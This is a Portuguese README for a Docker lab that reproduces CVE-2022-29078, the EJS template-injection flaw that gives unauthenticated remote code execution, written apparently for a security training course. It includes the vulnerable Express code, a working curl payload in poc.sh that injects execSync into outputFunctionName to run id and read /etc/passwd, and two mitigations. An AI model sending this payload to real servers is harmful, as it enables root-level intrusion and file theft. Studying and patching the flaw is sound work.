
PoC baseado em Docker para CVE-2022-29078: SSTI do EJS levando a execução remota de código não autenticada via injeção de outputFunctionName. Inclui etapas de reprodução e duas estratégias de mitigação.
Escola White Hat 4ª turma (classe 32) - 우상범 (@taka3636)
A vulnerabilidade de Server-Side Template Injection (SSTI) no EJS < 3.1.7 (CVE-2022-29078) permite executar comandos arbitrários no servidor remotamente (RCE) sem autenticação. Este documento configura um ambiente vulnerável com Docker, reproduz o RCE com um PoC e valida duas medidas de mitigação (atualização da biblioteca · passagem segura de entrada).
EJS (Embedded JavaScript templates) é um motor de templates amplamente utilizado no ecossistema Node.js. Ele insere JavaScript dentro de HTML usando tags <% %>, como em <h1>Hello <%= id %></h1>, para criar páginas dinâmicas. Internamente, EJS compila a string do template em uma função JavaScript e a executa para gerar o HTML final. Ou seja, é um gerador de código que "transforma texto (template) em código executável (função)", e essa propriedade é o pano de fundo fundamental desta vulnerabilidade.
EJS < 3.1.7 insere o valor da opção de renderização outputFunctionName no código fonte da função compilada sem validação. Se a aplicação passar a entrada do usuário diretamente como opções de renderização, um atacante pode contaminar essa opção e executar código arbitrário (RCE) no servidor. É possível comprometer completamente o servidor remotamente sem autenticação, tornando a gravidade muito alta.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 fixo3.1.6 (fixado exatamente sem símbolos — se usar ^/~, a versão corrigida é instalada e não é possível reproduzir)4.18.2docker compose up -d --build.

O ataque é possível quando ambas as condições abaixo são verdadeiras.
< 3.1.7 insere outputFunctionName no código sem validação.// app/server.js — ponto vulnerável
app.get('/page', (req, res) => {
res.render('page', req.query); // passa req.query inteiro como opções de renderização
});
No res.render('page', req.query), o Express passa a entrada do usuário (req.query) integralmente como opções de renderização para o EJS. Nesse momento, o parser qs analisa a notação de colchetes como settings[view options][outputFunctionName] em um objeto aninhado, e esse valor é mesclado na opção de compilação do EJS outputFunctionName. Ou seja, o código (função) que o usuário plantou no lugar da opção é anexado à opção e passado junto para o EJS. O EJS insere esse valor antes da função compilada da seguinte forma.
var <outputFunctionName값> = __append;
Se o valor for normal, é inofensivo como var myOut = __append;, mas se o valor contiver um ponto e vírgula para quebrar a sentença e inserir código, esse código será executado literalmente quando a função compilada for executada. Nesse lugar, pode-se colocar execSync(...) para ler um arquivo específico ou executar comandos do sistema.
Pré-requisito: Docker + Docker Compose instalados, conexão com internet durante a construção.
# 1) Clone e navegue até a pasta
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) Construa e inicie
docker compose up -d --build
docker compose ps
# 3) Verifique o funcionamento normal
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) Execute o PoC
bash poc.sh
# 5) Limpeza
docker compose down

poc.sh — injeção da opção outputFunctionName para executar três comandos no servidor e recuperar os resultados. [1] id (quem executou), [2] /etc/passwd (leitura de arquivo arbitrário), [3] uname (local da execução).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g: obrigatório para evitar que os colchetes da URL sejam interpretados como glob (caso contrário, curl: (3) bad range).%20, redirecionamento > %3E.Resultado da execução do poc.sh. Uma requisição normal (id=world) retorna apenas Hello world, mas os comandos injetados via injeção de outputFunctionName são executados no servidor e suas saídas são recuperadas.

id → uid=0(root) gid=0(root) : O comando injetado foi executado com privilégios de root./etc/passwd → O conteúdo do arquivo de contas do sistema é retornado na íntegra: é possível ler arquivos arbitrários do servidor (violação de confidencialidade).uname → O nome do host é 326f6f1b04b3 (ID do container), diferente do nome do host da VM (ubuntu-QEMU-Virtual-Machine): isso prova que o comando foi executado dentro do container, não no host. Ou seja, o privilégio root não se deve ao sudo, mas ao processo do servidor vulnerável (node no container = root por padrão).Com uma única requisição remota sem autenticação, é possível executar comandos como root + ler arquivos arbitrários = CVE-2022-29078.
Mitigação 1 — Atualização da biblioteca (correção fundamental)
Atualize o ejs no package.json para 3.1.7 ou superior. O 3.1.7+ valida outputFunctionName com a regex /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rejeitando ponto e vírgula e outros caracteres não identificadores, bloqueando o mesmo ataque antes da execução do código.
Error: outputFunctionName is not a valid JS identifier.


Mitigação 2 — Passagem segura de entrada (defesa da aplicação)
Mesmo na versão vulnerável (3.1.6), se a entrada do usuário não for passada integralmente, mas apenas os valores necessários, o caminho de mesclagem settings[view options] desaparece, impossibilitando a contaminação da opção. A funcionalidade normal é mantida.
// Antes (vulnerável)
res.render('page', req.query);
// Depois (seguro)
res.render('page', { id: req.query.id });


Recomendação: Aplique ambas a atualização da biblioteca (correção fundamental) e a passagem mínima de entrada do usuário (defesa em profundidade). Além disso, executar o container como um usuário não-root pode reduzir o impacto em caso de RCE.